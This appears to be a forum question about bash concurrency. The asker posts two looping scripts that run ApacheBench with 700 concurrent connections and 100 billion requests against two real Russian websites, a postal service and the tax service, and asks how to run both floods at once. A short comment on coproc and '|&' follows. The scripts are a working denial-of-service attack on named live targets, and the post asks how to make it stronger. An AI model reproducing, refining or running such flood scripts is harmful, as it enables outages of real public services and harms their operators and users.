Does the following script
#!/usr/bin/bash
while true
do
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post & ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
done
do exactly the same as
#!/usr/bin/bash
while true
do
ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post
ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
done
From my experience the first script creates nalog
file sooner (within seconds) than the second script (after more than 10 minutes) which suggests to me that the latter waits for ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
to finish. It should not be the case because from what I've researched so far the second script is meant to start ab -c 700 -n 100000000000 -r http://nalog.gov.ru/ >>nalog
without waiting for ab -c 700 -n 100000000000 -r http://crimea-post.ru/ >>crimea-post
to finish.
I want the two said ab
commands to execute concurrently, how might I accomplish this in Bash?
P.S. It is &
and not &&
. I know what &&
does and did not want to apply it here.
a |& b
is like thecoproc a; b
ofzsh
/bash
, which is different from thea |& b
of csh / zsh / bash (though still runa
andb
concurrently) – Stéphane Chazelas Feb 28 '22 at 08:43